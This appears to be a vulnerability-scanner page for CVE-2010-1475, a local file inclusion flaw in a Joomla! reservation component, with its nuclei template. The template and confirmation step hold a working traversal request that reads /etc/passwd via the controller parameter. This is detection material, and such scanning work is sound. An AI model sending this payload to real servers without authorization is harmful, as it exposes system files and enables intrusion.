Joomla! Component Preventive And Reservation 1.0.5 - Local File Inclusion

mediumseverity

6.8CVSS score

9.5%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Preventive & Reservation (com_preventive) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.

Impact

The LFI vulnerability can allow an attacker to read arbitrary files on the server, potentially exposing sensitive information or executing malicious code.

Fix

Update to the latest version of Joomla! Component Preventive And Reservation and apply any available patches or fixes to mitigate the LFI vulnerability.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_preventive&controller==../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1475 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1475

info:
  name: Joomla! Component Preventive And Reservation 1.0.5 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Preventive & Reservation (com_preventive) component 1.0.5 for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    The LFI vulnerability can allow an attacker to read arbitrary files on the server, potentially exposing sensitive information or executing malicious code.
  remediation: |
    Update to the latest version of Joomla! Component Preventive And Reservation and apply any available patches or fixes to mitigate the LFI vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12147
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1475
    - http://www.exploit-db.com/exploits/12147
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57652
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1475
    cwe-id: CWE-22
    epss-score: 0.09471
    epss-percentile: 0.95472
    cpe: cpe:2.3:a:ternaria:com_preventive:1.0.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: ternaria
    product: com_preventive
  tags: cve,cve2010,edb,joomla,lfi,ternaria,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_preventive&controller==../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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